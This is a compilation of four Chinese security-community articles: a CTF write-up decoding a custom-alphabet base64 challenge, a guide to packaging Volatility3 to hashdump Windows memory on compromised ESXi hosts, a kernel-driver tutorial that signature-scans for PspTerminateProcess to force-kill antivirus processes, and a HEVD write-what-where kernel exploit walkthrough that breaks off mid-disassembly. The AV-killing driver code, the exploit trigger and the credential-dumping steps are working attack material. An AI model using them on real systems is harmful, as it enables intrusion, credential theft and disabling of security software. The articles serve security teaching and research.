大概率是upx壳，于是直接`upx -d`脱壳后扔IDA分析
不过还是找不到`main`，应该是做了去符号的处理
和程序交互，先找找有没有字符串
程序接收一个命令行参数，看起来像是进行了base64编码，要求相等
输出`111`和`1111`的base64编码值比较，发现并不相等
题目名字是`REbase-fix`，猜测意思是修复base系列编码
通过这两个测试字符串`111`和`1111`，可以发现，程序输出的`DZTb`就相当于标准base64的`MTEx`
应该是可以手动测试自己探测出程序的base表，但是既然这里看到了`Try Again :(`，在IDA中搜索一下
跟着交叉引用，F5后发现关键代码
但是发现，即是根据功能猜测`sub_4098B0`是输出函数，点进去也会看到一堆复杂的代码 ......
又想到既然是base64的魔改，那程序中应该会有base码表
但是字符串窗口中里有太多字符串了，因为能找到`Try Again :("`，暂且认为字符串没有加密，但是也不能精准的找到关键的码表
这时感觉没有突破口了
## 尝试angr
尝试写一个angr脚本
import angr
import claripy
proj = angr.Project("./REbase-fix",auto_load_libs=False)
argv1 = claripy.BVS('argv1',50*8)
state = proj.factory.entry_state(args=["./REbase-fix",argv1])
simgr = proj.factory.simgr(state)
simgr.explore(find = 0x402070,avoid = 0x402084)
由于是命令行参数，用到这个`claripy`库，但是跑了两个多小时也没跑出来
我感觉爆破base64编码应该用不到这么久吧，毕竟没有多二进制码进行过多操作，可能是程序里有暗桩
## 查找码表
于是这条路又走不通了，参考一下其他大佬的writeup
发现一条命令`strings REbase-fix | grep -x '.\{30,\}' | head`
用来搜索长度大于等于30的字符串
学到了...用strings配合正则表达式
看上去是滚键盘得到的字符串，长度也正好，看起来就是base的码表了
## 魔改base64解码
现在只要找一个base64的实现，把码表改成我们自己的就可以了
我用的cpp实现，但是代码太长，找了一个好用的python实现
import re
def base64_encode(s, dictionary):
r = ""
p = ""
c = len(s) % 3
if (c > 0):
for i in range(c, 3):
p += '='
s += "\0"
for c in range(0, len(s), 3):
n = (ord(s[c]) << 16) + (ord(s[c+1]) << 8) + (ord(s[c+2]))
n = [(n >> 18) & 0x3F, (n >> 12) & 0x3F, (n >> 6) & 0x3F, n & 0x3F]
r += dictionary[n[0]] + dictionary[n[1]] + dictionary[n[2]] + dictionary[n[3]]
return r[0:len(r) - len(p)] + p
def base64_decode(s, dictionary):
base64inv = {}
for i in range(len(dictionary)):
base64inv[dictionary[i]] = i
s = s.replace("\n", "")
if not re.match(r"^([{alphabet}]{{4}})*([{alphabet}]{{3}}=|[{alphabet}]{{2}}==)?$".format(alphabet = dictionary), s):
raise ValueError("Invalid input: {}".format(s))
if len(s) == 0:
return ""
p = "" if (s[-1] != "=") else "AA" if (len(s) > 1 and s[-2] == "=") else "A"
r = ""
s = s[0:len(s) - len(p)] + p
for c in range(0, len(s), 4):
n = (base64inv[s[c]] << 18) + (base64inv[s[c+1]] << 12) + (base64inv[s[c+2]] << 6) + base64inv[s[c+3]]
r += chr((n >> 16) & 255) + chr((n >> 8) & 255) + chr(n & 255)
return r[0:len(r) - len(p)]
def test_base64():
import base64
import string
import random
dictionary = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
def random_string(length):
return ''.join(random.choice(string.ascii_letters) for m in range(length))
for i in range(100):
s = random_string(i)
encoded = base64_encode(s, dictionary)
assert(encoded == base64.b64encode(s))
assert(s == base64_decode(encoded, dictionary))
if __name__ == "__main__":
dictionary = "QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbn/+m1234567890"
print(base64_decode("ZXFWtmKgDZCyrmC5B+CiVfsyXUCQVfsyZRFzDU4yX2YCD/F5Ih8=", dictionary), end='')
把这段丢给程序，发现输出有乱码，而且因为flag格式是`MCA{}`，也没有预期的`}`
丢给程序发现还差了一点
因为最后一个字符是`}`，于是手动测几个
看上去`}`之前的字符不管是什么都会输出`Congratulations!`，不符合常理，字符串编码后应该是一对一的
但是由于是赛后复现，无法和服务器交互，其他writeup上说服务器只接受
`{Th15_wUz_EaZy_Pe@Zy_L3m0n_SqU33zy}`
## 最后的思考
linux下的命令，例如`strings`和`grep`配合管道符的使用需要多加练习，在CTF中很可能可以作为突破口 | 社区文章 |
## 前言
VMware vCenter
ESXI中经常会装一些非常重要的业务虚拟服务器，Linux一般都是登录状态的，但是Windows机器锁屏较多，想要获取服务器权限，一般需要把vmem文件下载下来，用内存分析工具进行hashdump等，以突破其锁屏获取服务器权限。笔者在对volatility工具进行了解后，对分析vmem文件的手法进行了一定优化，可以提升解决锁屏问题的效率。
## 思路
在了解了volatility内存取证工具后，想到了几种办法：
python3版本
1. VMware vCenter ESXI中自带了python3.6.8，可以尝试直接在esxi中部署volatility3项目；
2. 利用pyinstaller将volatility3进行打包，生成可执行文件拖到esxi中使用。根据打包环境不同，又有两种思路：
* 在esxi上部署volatility3项目后，打包出来的会更适用；
* 在其他Linux中部署volatility3项目（环境尽可能接近esxi），打包出来用。
python2版本：
最一开始对项目了解的不够深入，没注意到项目团队已经把volatility2制作成了可执行文件，导致前期一直在死磕打包volatility3，后来在小伙伴的提醒下，发现3gstudent师傅研究了利用volatility2进行Windows锁屏问题解决，在此先膜拜下师傅。
不过官方团队并没有打包volatility3的可执行程序，原因写的是打包出来的packages会被识别为恶意软件，解决了这个问题就会出可执行程序了。
## 过程
### 思路一、直接在esxi中部署volatility3项目
Linux环境下的esxi，这个思考很快就被证明不太可行了，volatility3需要多个系统库和pip库：
yum install zlib &&\
yum install zlib-devel &&\
yum install bzip2-devel &&\
yum install ncurses-devel &&\
yum install sqlite-devel &&\
yum install readline-devel &&\
yum install gcc &&\
yum install libffi &&\
yum install libffi-devel &&\
yum install gcc-c++\
yum install openssl-devel\
yum install tk-devel
需要pip3
yum install xz-devel
yum install epel-release
yum install python35-devel
需要n多个系统依赖以及n多个pip依赖
pip3 install pefile==2018.8.8 -i http://pypi.douban.com/simple --trusted-host pypi.douban.com
pip3 install backports.lzma -i http://pypi.douban.com/simple --trusted-host pypi.douban.com
pip3 install pycryptodome
pip install importlib-metadata==0.6
### 思路二、打包Vol进行后利用
#### 1.选好合适的系统
CentOS 7.9跟exsi的GLIBC库版本一致，自带python3.6，比较合适。
安装编译后续可能会用到的依赖：：
yum install zlib &&\
yum install zlib-devel &&\
yum install bzip2-devel &&\
yum install ncurses-devel &&\
yum install sqlite-devel &&\
yum install readline-devel &&\
yum install gcc &&\
yum install libffi &&\
yum install libffi-devel &&\
yum install gcc-c++ &&\
yum install openssl-devel &&\
yum install tk-devel
#### 2.下载Volatility3项目
GitHub地址：<https://github.com/volatilityfoundation/volatility3>
#### 3.安装pip依赖
正常安装到yara的时候应该会报错，需要安装python-dev库才行
CentOS系统：
# 安装EPEL源
yum install epel-release -y
# 默认安装python3.6开发包
yum install python3-devel -y
Ubuntu系统：
apt-get install python3-dev
装好python-dev之后，安装依赖即可。
pip3 install -r requirements.txt
也可以这么安装
pip3 install -r requirements.txt -i http://pypi.douban.com/simple --trusted-host pypi.douban.com
#### 4.安装Volatility3
需要先更新下setuptools不然等下安装编译 Python的相关包安装会报错：
pip3 install --upgrade setuptools
安装Volatility3
python3 setup.py install
完成安装后，测试是否能正常使用
python3 vol.py
查看运行是否有异常提示：
python3 vol.py -vv
测试功能是否正常
python3 vol.py -f xxx.vmem windows.info
python3 vol.py -f xxx.vmem windows.hashdump
#### 5.安装pyinstaller
pip3 install pyinstaller==3.6
#### 6.打包Volatility3
修改spec，默认只有vol.py，增加了hashdump和yarascan；还增加了vol_coll使打包出来的是一个文件夹。
# This file is Copyright 2019 Volatility Foundation and licensed under the Volatility Software License 1.0
# which is available at https://www.volatilityfoundation.org/license/vsl-v1.0
#
import os
import sys
from PyInstaller.building.api import PYZ, EXE,COLLECT
from PyInstaller.building.build_main import Analysis
from PyInstaller.utils.hooks import collect_submodules, collect_data_files, collect_dynamic_libs
block_cipher = None
binaries = []
try:
import capstone
binaries = collect_dynamic_libs('capstone')
except ImportError:
pass
# Volatility must be findable in sys.path in order for collect_submodules to work
# This adds the current working directory, which should usually do the trick
sys.path.append(os.path.dirname(os.path.abspath(SPEC)))
vol_analysis = Analysis(['vol.py',
'volatility3/framework/plugins/windows/hashdump.py',
'volatility3/framework/plugins/yarascan.py'],
pathex = [],
binaries = binaries,
datas = collect_data_files('volatility3.framework') + \
collect_data_files('volatility3.framework.automagic', include_py_files = True) + \
collect_data_files('volatility3.framework.plugins', include_py_files = True) + \
collect_data_files('volatility3.framework.layers', include_py_files = True) + \
collect_data_files('volatility3.schemas') + \
collect_data_files('volatility3.plugins', include_py_files = True),
hiddenimports = collect_submodules('volatility3.framework.automagic') + \
collect_submodules('volatility3.framework.plugins') + \
collect_submodules('volatility3.framework.symbols'),
hookspath = [],
runtime_hooks = [],
excludes = [],
win_no_prefer_redirects = False,
win_private_assemblies = False,
cipher = block_cipher,
noarchive = False)
vol_pyz = PYZ(vol_analysis.pure, vol_analysis.zipped_data,
cipher = block_cipher)
vol_exe = EXE(vol_pyz,
vol_analysis.scripts,
[('u', None, 'OPTION')],
exclude_binaries=True,
name = 'vol',
icon = os.path.join('doc', 'source', '_static', 'favicon.ico'),
debug = False,
bootloader_ignore_signals = False,
strip = False,
upx = True,
runtime_tmpdir = None,
console = True)
vol_coll = COLLECT(vol_exe,
vol_analysis.binaries,
vol_analysis.zipfiles,
vol_analysis.datas,
strip=False,
upx=True,
upx_exclude=[],
name = 'vol')
打包，默认是放在dist目录下。
pyinstaller vol-new.spec
需要把打包完成的vol文件夹中base_library.zip解压一下，解压至当前目录即可。
#### 7.使用
从CentOS7中把vol压缩下，搞到目标esxi服务器上解压，给好权限应该就能用了。
PS：Volatility3做Windows内存文件分析时，需要联网到微软网站那边下一个字符库，所以需要目标esxi能出网。
#### 8.踩坑过程
##### 8.1. GLIBC版本问题
使用Ubuntu16及kali之类的系统，打包出来的vol在exsi中无法运行
查看esxi的GLIBC版本，发现为2.17：
尝试将高版本的so文件拷贝到esxi系统中，尝试将libc-2.27.so修改为libc.2.17.so，系统立马就GG了，还好mobax的sftp还能用：
需要找GLIBC版本一致，或更低版本的系统，打包vol才可以运行：
centos6.6服务器的glibc默认版本为2.12
centos7系统的默认glibc版本已经升级2.17
其中vultr中默认的CentOS7版本就可以：
strings /usr/lib64/libc.so.6 | grep GLIBC
以及centos7.9版本也是可以的
##### 8.2. No module named 'encodings'
在esxi中运行打包好的vol会提示No module named 'encodings'
解决办法，把base_library.zip解压出来即可，注意需要解压到当前目录，不能解压到base_library文件夹里。
##### 8.3. spec打包问题
左边是打包为单一文件，右边是打包为一个文件夹
##### 8.4. 正常打包后功能异常
解决方法：
其实就是作者写vol.spec的时候，有些pip库没有打包上，增加上hashdump和yarascan就行了。
vol_analysis = Analysis(['vol.py',
'volatility3/framework/plugins/windows/hashdump.py',
'volatility3/framework/plugins/yarascan.py'],
#### 9\. 联网问题
在esxi中直接运行打包好的Volatility，在联网的情况下，已经可以完成hashdump。但是在无法联网的时候，无法下载到symbols文件，也就是pdb（program
database）文件，且该文件无法直接通过浏览器下载到。通过对项目的深入了解，发现作者有提供了下载pdb文件的解决办法。
作者并没有在readme中写明下载pdb文件的方法，在断网状态下调试脚本运行过程的时候，才发现作者留的小惊喜：
(venv) PS D:\PythonDev\project\volatility3-develop> python vol.py -vv -f "F:\Attck\Win10-TH-2.0\Windows 10 x64-490103e9.vmem" windows.hashdump
Volatility 3 Framework 2.4.1
INFO volatility3.cli: Volatility plugins path: ['D:\\PythonDev\\project\\volatility3-develop\\volatility3\\plugins', 'D:\\PythonDev\\project\\volatility3-develop\\volatility3\\framework\\plugins']
INFO volatility3.cli: Volatility symbols path: ['D:\\PythonDev\\project\\volatility3-develop\\volatility3\\symbols', 'D:\\PythonDev\\project\\volatility3-develop\\volatility3\\framework\\symbols']
INFO volatility3.framework.automagic: Detected a windows category plugin
INFO volatility3.framework.automagic: Running automagic: ConstructionMagic
INFO volatility3.framework.automagic: Running automagic: SymbolCacheMagic
INFO volatility3.framework.automagic: Running automagic: LayerStacker
DEBUG volatility3.framework.automagic.windows: Detecting Self-referential pointer for recent windows
DEBUG volatility3.framework.automagic.windows: DtbSelfRef64bit test succeeded at 0x1ad000
DEBUG volatility3.framework.symbols.windows.pdbconv: Failed with <urlopen error [WinError 10060] 由于连接方在一段时间后没有正确答复或连接的主机没有反应，连接尝试失败。>
DEBUG volatility3.framework.symbols.windows.pdbconv: Attempting to retrieve http://msdl.microsoft.com/download/symbols/ntkrnlmp.pdb/118018959D8D7CA5AAB45B75AED5A9761/ntkrnlmp.pd_
DEBUG volatility3.framework.symbols.windows.pdbconv: Failed with <urlopen error [WinError 10060] 由于连接方在一段时间后没有正确答复或连接的主机没有反应，连接尝试失败。>
WARNING volatility3.framework.symbols.windows.pdbutil: Symbol file could not be downloaded from remote server
DEBUG volatility3.framework.symbols.windows.pdbutil: Required symbol library path not found: ntkrnlmp.pdb\118018959D8D7CA5AAB45B75AED5A976-1
INFO volatility3.framework.symbols.windows.pdbutil: The symbols can be downloaded later using pdbconv.py -p ntkrnlmp.pdb -g 118018959D8D7CA5AAB45B75AED5A9761
INFO volatility3.framework.automagic: Running automagic: SymbolFinder
INFO volatility3.framework.automagic: Running automagic: KernelModule
上述调试信息中，关键点是：
Symbol file could not be downloaded from remote server
Required symbol library path not found: ntkrnlmp.pdb\118018959D8D7CA5AAB45B75AED5A976-1
The symbols can be downloaded later using pdbconv.py -p ntkrnlmp.pdb -g 118018959D8D7CA5AAB45B75AED5A9761
也就是说用pdbconv.py可以下载到所需的pdb文件：
将下载好的symbols文件放入以下目录，重新运行vol.py进行hashdump即可：
/tmp/vol/volatility3/framework/symbols/windows/ntkrnlmp.pdb/
* 坑点
这里遇到了个小问题就是pycharm可以正常运行该脚本进行下载，但是本地命令行运行脚本会提示No module named
'volatility3'，网上搜了下说是环境变量的问题，加上打印环境变量的语句，pycharm和命令行分别运行了下，确实是pycharm多了些路径：
print("当前工作目录：",os.getcwd())
print("python搜索模块的路径集合：",sys.path)
定位到问题后，根据网上的解决办法，在pdbconv.py中加上缺少的路径即可正常使用该脚本：
sys.path.append("D:\\PythonDev\\project\\volatility3-develop")
sys.path.append("D:\\Program\\PyCharm\\PyCharm 2022.2.3\\plugins\\python\\helpers\\pycharm_display")
sys.path.append("D:\\Program\\PyCharm\\PyCharm 2022.2.3\\plugins\\python\\helpers\\pycharm_matplotlib_backend")
## 总结
目前不出网状态解一个windows的hash大概需要3-7分钟，如果优化这个工具确实有很高实用价值，后续会继续进行优化，争取能3分钟解决战斗。
发现问题，解决问题，总结经验，分享方法，共同进步。
## 附：python2版本与python3版本对比
### vol2
#### Windows 7（ok）
#### Windows 10（不ok）
Linux环境下测试也是一样的结果：
#### Windows Server 2008（ok）
#### Windows Server 2012（不ok）
#### Windows Server 2016
估计是不ok的
### vol3
#### Windows 7（ok）
#### Windows 10（ok）
#### Windows Server 2012（ok）
#### Windows Server 2016（ok）
#### Windows Server 2019（ok） | 社区文章 |
# 初探进程强杀
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
进程保护可以通过三环hook，诸如 **inline hook** ， **IAT hook**
，不过在三环的hook都是雕虫小计，很轻松的就可以发现被发现，一些AV或者EDR往往三环是没有钩子的。3环的病毒面对0环的反病毒往往是显得弱小不堪，于是病毒也跳到0环，与反病毒公平展开博弈。
## ZwTerminateProcess
这是一个微软已经文档化了的内核API，能够杀死一个其他的进程和它所对应的全部线程。
NTSYSAPI NTSTATUS ZwTerminateProcess(
[in, optional] HANDLE ProcessHandle,
[in] NTSTATUS ExitStatus
);
只需要传入一个进程句柄和一个退出码，就可以杀死一个进程。那么可想而知，如果病毒调用这个内核api，即可杀死所有反病毒进程，但攻防不断对抗，反病毒程序当然知道你要通过这个api就可以杀死我，于是就在内核下hook了这个api，如果结束的进程是我自己，我就不允许结束。
病毒自然也是不服气，冥思苦想想到了新的办法。
## PspTerminateProcess
这也是一个内核API，我们去微软官网查这个函数。
可以看到是没有这个函数的文档的，但他存在吗，难道是别人杜撰的？
不服气的我去问windbg，windbg是通过pdb文件去解析的，能告诉我们很多不为人知的秘密。
u PspTerminateProcess l40
还真有，经过大佬指点，原来这是微软偷偷自己在用的函数，并且没有给我们说，但他确实是存在的，这叫未文档化函数。
那么如果我们想要调用这个函数怎么办呢？windbg可以通过pdb文件找到这个函数，我们则可以通过另外的方式找到他。
1. 暴力搜索，提取该函数的特征码，全盘搜索。
2. 如果有已文档化的函数调用了PspTerminateProcess，那我们就可以通过指针加偏移的方式获取到他的地址，同样可以调用。
本文就只讲述第一种方式，提取特征码后暴力搜索。
### 暴力搜索
暴力搜索首先是要明确搜什么，在哪搜。
**在哪搜**
在哪搜索这个是比较明确的，内核的api大概率都在ntoskrnl.exe中。
那怎么获取到ntoskrnl.exe的基址和大小呢？通过内核模块遍历就可以。
驱动函数入口的第一个参数指向的是DRIVER_OBJECT结构体。
kd> dt _DRIVER_OBJECT
在+0x014的位置，名为DriverSection的成员，指向的也是一个结构体_LDR_DATA_TABLE_ENTRY
kd> dt _LDR_DATA_TABLE_ENTRY
这个结构体详细的说明了当前模块的一些信息，在偏移为0的位置名为InLoadOrderLinks，通过名字来看也知道他是一个链表，实际上是通过这个链表将所有的模块都串在一起。
kd> dt _LIST_ENTRY
通过这个链表我们可以获取到其他所有模块的信息，自然也就能够获得ntoskrnl.exe模块的信息。
基址和大小就在下面两个成员里。
**搜什么**
自然是搜索特征码，那么这个特征码怎么提呢？
kd> u pspterminateprocess l40
nt!PspTerminateProcess:
805c9da4 8bff mov edi,edi
805c9da6 55 push ebp
805c9da7 8bec mov ebp,esp
805c9da9 56 push esi
805c9daa 64a124010000 mov eax,dword ptr fs:[00000124h]
805c9db0 8b7508 mov esi,dword ptr [ebp+8]
805c9db3 3b7044 cmp esi,dword ptr [eax+44h]
805c9db6 7507 jne nt!PspTerminateProcess+0x1b (805c9dbf)
805c9db8 b80d0000c0 mov eax,0C000000Dh
805c9dbd eb5a jmp nt!PspTerminateProcess+0x75 (805c9e19)
805c9dbf 57 push edi
805c9dc0 8dbe48020000 lea edi,[esi+248h]
805c9dc6 f6470120 test byte ptr [edi+1],20h
805c9dca 7412 je nt!PspTerminateProcess+0x3a (805c9dde)
805c9dcc 8d8674010000 lea eax,[esi+174h]
805c9dd2 50 push eax
805c9dd3 56 push esi
805c9dd4 68769d5c80 push offset nt!NtTerminateProcess+0x14c (805c9d76)
805c9dd9 e896eeffff call nt!PspCatchCriticalBreak (805c8c74)
805c9dde 6a08 push 8
805c9de0 58 pop eax
805c9de1 f00907 lock or dword ptr [edi],eax
805c9de4 6a00 push 0
805c9de6 56 push esi
805c9de7 e88a4f0000 call nt!PsGetNextProcessThread (805ced76)
805c9dec 8bf8 mov edi,eax
805c9dee 85ff test edi,edi
805c9df0 741e je nt!PspTerminateProcess+0x6c (805c9e10)
805c9df2 ff750c push dword ptr [ebp+0Ch]
805c9df5 57 push edi
805c9df6 e807fdffff call nt!PspTerminateThreadByPointer (805c9b02)
805c9dfb 57 push edi
805c9dfc 56 push esi
805c9dfd e8744f0000 call nt!PsGetNextProcessThread (805ced76)
805c9e02 8bf8 mov edi,eax
805c9e04 85ff test edi,edi
805c9e06 75ea jne nt!PspTerminateProcess+0x4e (805c9df2)
805c9e08 3986bc000000 cmp dword ptr [esi+0BCh],eax
805c9e0e 7406 je nt!PspTerminateProcess+0x72 (805c9e16)
805c9e10 56 push esi
805c9e11 e8baf5feff call nt!ObClearProcessHandleTable (805b93d0)
805c9e16 33c0 xor eax,eax
805c9e18 5f pop edi
805c9e19 5e pop esi
805c9e1a 5d pop ebp
805c9e1b c20800 ret 8
805c9e1e cc int 3
805c9e1f cc int 3
805c9e20 cc int 3
805c9e21 cc int 3
805c9e22 cc int 3
805c9e23 cc int 3
我们可以将上面所有的硬编码都提取出来，然后再进行搜索，但是这样有意义么，或者意义大吗？
显然，特征码只需要提取其中一小块就可以达到效果。比如805c9db0那个位置上，就可以提取4个字节的特征码，因为并不是所有的api都会把ebp+8中存储的值放到esi中，是比较小众的。但光这四个字节是说明不了问题的，所以还要加一些特征码。
加一些特征码并不意味着连续，最好的方式就是隔一段代码，再提取，我们只需要判断相对偏移地址上的硬编码是不是与特征码相同就行了。按照这个思路，我这里提取了三段。
ULONG str1 = 0x3b08758b;
ULONG str2 = 0x0248be8d;
ULONG str3 = 0x0174868d;
## 代码实现
首先需要定义一个_LDR_DATA_TABLE_ENTRY结构体。
typedef struct _LDR_DATA_TABLE_ENTRY
{
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
ULONG DllBase;
ULONG EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
USHORT LoadCount;
USHORT TlsIndex;
LIST_ENTRY HashLinks;
ULONG SectionPointer;
ULONG CheckSum;
ULONG TimeDateStamp;
ULONG LoadedImports;
ULONG EntryPointActivationContext;
ULONG PatchInformation;
}LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
通过遍历模块找到ntoskrnl.exe的基址和大小，有了这两个值就可以搜索了。
UNICODE_STRING ntoskrnl = { 0 };
RtlInitUnicodeString(&ntoskrnl, L"ntoskrnl.exe");
PLDR_DATA_TABLE_ENTRY PMoudleLinkDriver = (PLDR_DATA_TABLE_ENTRY)pDriver->DriverSection;
//DbgPrint("%ws", PMoudleLinkDriver->BaseDllName.Buffer);
PLDR_DATA_TABLE_ENTRY PMoudleLinkDriverNext = PMoudleLinkDriver;
LONG x = RtlCompareUnicodeString(&(PMoudleLinkDriver->BaseDllName), &ntoskrnl, TRUE);
while (x != 0)
{
PMoudleLinkDriverNext = (PLDR_DATA_TABLE_ENTRY)PMoudleLinkDriverNext->InLoadOrderLinks.Flink;
x = RtlCompareUnicodeString(&(PMoudleLinkDriverNext->BaseDllName), &ntoskrnl, TRUE);
}
ULONG pNtoskrnlBase = PMoudleLinkDriverNext->DllBase;
ULONG pNtoskrnlLimit = PMoudleLinkDriverNext->SizeOfImage;
搜索代码，遍历整个ntoskrnl.exe的硬编码。特征码就是上面提取到的三组12字节的硬编码。
for (ULONG i = pNtoskrnlBase;i< pNtoskrnlBase + pNtoskrnlLimit; i++)
{
//DbgPrint("%x\n", *(PULONG)i);
if (*(PULONG)i == str1)
{
if (*(PULONG)(i + 0x10) == str2)
{
if (*(PULONG)(i + 0x1c) == str3)
{
PspTerminateProcess = (funcPspTerminateProcess)(i - 0xc);
break;
}
}
}
}
定义函数指针，我们需要有这个函数指针去执行这个函数。
typedef NTSTATUS(*funcPspTerminateProcess)(PEPROCESS process, NTSTATUS ExitStatus);
函数的第一个参数是PEPROCESS类型的，可以通过PsLookupProcessByProcessId函数获得。
PEPROCESS pEprocesszz = NULL;
NTSTATUS status = PsLookupProcessByProcessId((HANDLE)1232, &pEprocesszz);
if (status != STATUS_SUCCESS) {
DbgPrint(TEXT("获取进程的PEPROCESS失败\n"));
return status;
}
第二个参数是out型参数，会返回一个PEPROCESS结构体，第一个参数传入一个pid就可以了。
最后判断一下是否杀死了。
status = PspTerminateProcess(pEprocesszz,0);
if (status != STATUS_SUCCESS)
{
DbgPrint(TEXT("杀死进程失败\n"));
}
DbgPrint(TEXT("杀死进程成功\n"));
## 效果展示
选择要强杀的进程是pchunter.exe。这种内核工具具有一定保护自身的功能。在用户层甚至看不到用户名。
我们尝试直接结束。果然是不行的。
加载我们自己的驱动试试。
运行驱动瞬间，pchunter被结束掉了。
这里有同学就说了，你杀个pchunter干什么？于是我下了个某av。最新版的。
尝试结束其中一个进程。
加载我们自己的驱动。
## 后记
不同os的PspTerminateProcess函数名已经发生变化，感兴趣的同学自行拓展，本文的os是xp。
同样可以自行挖掘，未导出文档函数还有很多，都将成为对抗利器。 | 社区文章 |
# 0x00：前言
这是 Windows kernel exploit 系列的第三部分，前一篇我们讲了内核栈溢出的利用，这一篇我们介绍任意内存覆盖漏洞，也就是 Write-What-Where 漏洞，和前面一样，看此文章之前你需要有以下准备：
* Windows 7 x86 sp1虚拟机
* 配置好windbg等调试工具，建议配合VirtualKD使用
* HEVD+OSR Loader配合构造漏洞环境
传送门：
[+][Windows Kernel Exploit(一) -> UAF](https://xz.aliyun.com/t/5493)
[+][Windows Kernel Exploit(二) -> StackOverflow](https://xz.aliyun.com/t/5536)
# 0x01：漏洞原理
## 任意内存覆盖漏洞
从 IDA
中我们直接分析`HEVD.sys`中的`TriggerArbitraryOverwrite`函数，乍一看没啥毛病，仔细分析发现v1，v2这俩指针都没有验证地址是否有效就直接拿来用了，这是内核态，给点面子好吧，胡乱引用可以要蓝屏的(严肃
int __stdcall TriggerArbitraryOverwrite(_WRITE_WHAT_WHERE *UserWriteWhatWhere)
{
unsigned int *v1; // edi
unsigned int *v2; // ebx
ProbeForRead(UserWriteWhatWhere, 8u, 4u);
v1 = UserWriteWhatWhere->What;
v2 = UserWriteWhatWhere->Where;
DbgPrint("[+] UserWriteWhatWhere: 0x%p\n", UserWriteWhatWhere);
DbgPrint("[+] WRITE_WHAT_WHERE Size: 0x%X\n", 8);
DbgPrint("[+] UserWriteWhatWhere->What: 0x%p\n", v1);
DbgPrint("[+] UserWriteWhatWhere->Where: 0x%p\n", v2);
DbgPrint("[+] Triggering Arbitrary Overwrite\n");
*v2 = *v1;
return 0;
}
我们从`ArbitraryOverwrite.c`源码文件入手，直接定位关键点
#ifdef SECURE
// Secure Note: This is secure because the developer is properly validating if address
// pointed by 'Where' and 'What' value resides in User mode by calling ProbeForRead()
// routine before performing the write operation
ProbeForRead((PVOID)Where, sizeof(PULONG_PTR), (ULONG)__alignof(PULONG_PTR));
ProbeForRead((PVOID)What, sizeof(PULONG_PTR), (ULONG)__alignof(PULONG_PTR));
*(Where) = *(What);
#else
DbgPrint("[+] Triggering Arbitrary Overwrite\n");
// Vulnerability Note: This is a vanilla Arbitrary Memory Overwrite vulnerability
// because the developer is writing the value pointed by 'What' to memory location
// pointed by 'Where' without properly validating if the values pointed by 'Where'
// and 'What' resides in User mode
*(Where) = *(What);
如果你不清楚`ProbeForRead`函数的话，[这里](https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/wdm/nf-wdm-probeforread)可以得到很官方的解释(永远记住官方文档是最好的)，就是检查用户模式缓冲区是否实际驻留在地址空间的用户部分中，并且正确对齐，相当于检查一块内存是否正确。
void ProbeForRead(
const volatile VOID *Address,
SIZE_T Length,
ULONG Alignment
);
和我们设想的一样，从刚才上面的对比处可以很清楚的看出，在安全的条件下，我们在使用两个指针的时候对指针所指向的地址进行了验证，如果不对地址进行验证，在内核空间中访问到了不该访问的内存那很可能就会蓝屏，通过这一点我们就可以利用，既然是访问内存，那我们让其访问我们shellcode的位置即可达到提权的效果，那么怎么才能访问到我们的shellcode呢？
# 0x02：漏洞利用
## 利用原理
### 控制码
知道了漏洞的原理之后我们开始构造exploit，前面我们通过分析`IrpDeviceIoCtlHandler`函数可以逆向出每个函数对应的控制码，然而这个过程我们可以通过分析`HackSysExtremeVulnerableDriver.h`自己计算出控制码，源码中的定义如下
#define HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_NEITHER, FILE_ANY_ACCESS)
下面解释一下如何计算控制码，`CTL_CODE`这个宏负责创建一个独特的系统I/O（输入输出）控制代码(IOCTL)，计算公式如下
#define xxx_xxx_xxx CTL_CODE(DeviceType, Function, Method, Access)
( ((DeviceType) << 16) | ((Access) << 14) | ((Function) << 2) | (Method))
通过python我们就可以计算出控制码(注意对应好位置)
>>> hex((0x00000022 << 16) | (0x00000000 << 14) | (0x802 << 2) | 0x00000003)
'0x22200b'
因为`WRITE_WHAT_WHERE`结构如下，一共有8个字节，前四个是 what ，后四个是 where
，所以我们申请一个buf大小为8个字节传入即可用到 what 和 where 指针
typedef struct _WRITE_WHAT_WHERE {
PULONG_PTR What;
PULONG_PTR Where;
} WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;
下面我们来测试一下我们的猜测是否正确
#include<stdio.h>
#include<Windows.h>
int main()
{
char buf[8];
DWORD recvBuf;
// 获取句柄
HANDLE hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL);
printf("Start to get HANDLE...\n");
if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
{
printf("Failed to get HANDLE!!!\n");
return 0;
}
memset(buf, 'A', 8);
DeviceIoControl(hDevice, 0x22200b, buf, 8, NULL, 0, &recvBuf, NULL);
return 0;
}
在 windbg 中如果不能显示出 dbgprint 中内容的话输入下面的这条命令即可显示
ed nt!Kd_DEFAULT_Mask 8
我们运行刚才生成的程序，如我们所愿，这里已经成功调用了`ArbitraryOverwriteIoctlHandler`函数并且修改了 What 和
Where 指针
kd> ed nt!Kd_DEFAULT_Mask 8
kd> g
****** HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE ******
[+] UserWriteWhatWhere: 0x0019FC90
[+] WRITE_WHAT_WHERE Size: 0x8
[+] UserWriteWhatWhere->What: 0x41414141
[+] UserWriteWhatWhere->Where: 0x41414141
[+] Triggering Arbitrary Overwrite
[-] Exception Code: 0xC0000005
****** HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE ******
当然我们不能只修改成0x41414141，我们所希望的是把what指针覆盖为shellcode的地址，where指针修改为能指向shellcode地址的指针
### Where & What 指针
这里的where指针我们希望能够覆盖到一个安全可靠的地址，我们在windbg中反编译一下`NtQueryIntervalProfile+0x62`这个位置
kd> u nt!NtQueryIntervalProfile+0x62
nt!NtQueryIntervalProfile+0x62:
